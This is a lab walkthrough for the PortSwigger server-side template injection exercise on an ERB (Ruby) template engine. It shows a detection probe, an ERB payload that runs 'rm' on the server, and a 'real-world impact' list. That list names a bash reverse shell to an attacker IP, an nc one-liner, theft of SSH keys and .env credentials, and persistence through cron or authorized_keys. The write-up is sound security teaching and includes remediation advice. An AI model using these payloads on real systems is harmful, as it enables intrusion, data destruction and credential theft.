PlatformPortSwigger Web Security Academy
TopicServer-side template injection
LabBasic server-side template injection
DifficultyApprentice
EngineERB (Ruby)
GoalDelete morale.txt from Carlos’s home directory
ToolsBurp Suite (Proxy + Repeater)

What is server-side template injection?#

Server-side template injection (SSTI) happens when user input is embedded into a server-side template and then evaluated as template code rather than plain data. Because templates can run expressions (and often reach the underlying language), a successful injection usually leads to information disclosure or full remote code execution.

The workflow is always the same: detect that input is evaluated, identify the template engine, then exploit using that engine’s syntax.

Finding the injection point#

The shop shows an “out of stock” message when you view certain products. Open the details for one of them:

View details on an out-of-stock product.
View details on an out-of-stock product.

The app redirects to the home page and reflects the text through a message query parameter:

The out-of-stock text is reflected via ?message=..., a candidate injection point.
The out-of-stock text is reflected via ?message=…, a candidate injection point.

That reflected value is a strong SSTI candidate, because such messages are often built by rendering a template.

Identifying the template engine#

Capture the GET /?message=... request in Burp:

The GET request carrying the message parameter in Burp's HTTP history.
The GET request carrying the message parameter in Burp’s HTTP history.

Send it to Repeater and turn on “URL-encode as you type” so the template characters are encoded correctly in the query string:

Send to Repeater and enable URL-encode as you type.
Send to Repeater and enable URL-encode as you type.

Now probe with a simple arithmetic payload. ERB (Ruby) uses <%= ... %> to output an expression:

<%= 7*7 %>

If the response contains 49, the input was evaluated as an ERB template:

Injecting <%= 7*7 %> returns 49, confirming server-side evaluation with ERB (Ruby).
Injecting <%= 7*7 %> returns 49, confirming server-side evaluation with ERB (Ruby).

7*7 returning 49 (rather than the literal text) is the tell: the server ran our expression. Arithmetic is the standard detection probe precisely because its result is unambiguous, 49 can only appear if the engine evaluated 7*7; if the input were treated as plain data the response would just echo the literal 7*7 back. The <%= %> syntax (ERB’s “output this expression” tag, as opposed to <% %> which runs code without printing) pins the engine to ERB.

Exploitation: command execution#

ERB can call Ruby directly, so we escalate from expression evaluation to running a system command. To solve the lab, delete Carlos’s morale.txt:

<%= system("rm /home/carlos/morale.txt") %>
Injecting <%= system("rm /home/carlos/morale.txt") %> deletes the file and solves the lab.
Injecting <%= system(“rm /home/carlos/morale.txt”) %> deletes the file and solves the lab.

The command runs on the server, the file is removed, and the lab is marked solved. The same primitive would let an attacker read files, spawn a shell, or pivot further.

Real-world impact#

The lab is solved by deleting morale.txt, but that file is just a safe stand-in: server-side template injection here is arbitrary command execution on the server. In a real, authorized engagement the same foothold escalates fast, for example:

  • Interactive access — pipe a reverse shell back to your own box (a bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1 or nc one-liner) for a hands-on session instead of firing one command at a time.
  • Credential & key theft — read anything the web user can: /etc/passwd, application config and .env files, database credentials, cloud tokens, and SSH private keys such as ~/.ssh/id_rsa.
  • Lateral movement — reuse harvested SSH keys or passwords to log into the host or pivot to other machines on the network.
  • Persistence & exfiltration — append your key to ~/.ssh/authorized_keys, add a cron job, or stage sensitive data for exfiltration.

It’s the same command execution you used to solve the lab, just pointed at a real objective, which is why these bugs rate critical. Only ever against systems you are authorized to test.

Remediation#

  • Don’t let users supply templates. Pass user input as template data, never as part of the template string.
  • If dynamic templates are unavoidable, render them in a sandboxed engine (one deliberately locked down so templates can’t reach the host language or dangerous objects). Note that sandboxes can still be escaped, as the sandbox lab in this series shows.
  • Validate and contextualise any value that ends up in a message or view.

A concrete, generic example of the safe form, a fixed template with user input bound as data:

# Unsafe: user input becomes part of the template source
render_template_string("Out of stock: " + user_input)

# Safe: a fixed template, user input passed as a value
render_template("stock.html", message=user_input)

Key takeaways#

  • A reflected value that looks like a rendered message is a prime SSTI target.
  • Detect with a language-agnostic probe (${7*7}, {{7*7}}, <%= 7*7 %>); the one that returns 49 reveals the engine.
  • ERB’s <%= %> gives direct Ruby access, so expression evaluation escalates straight to command execution.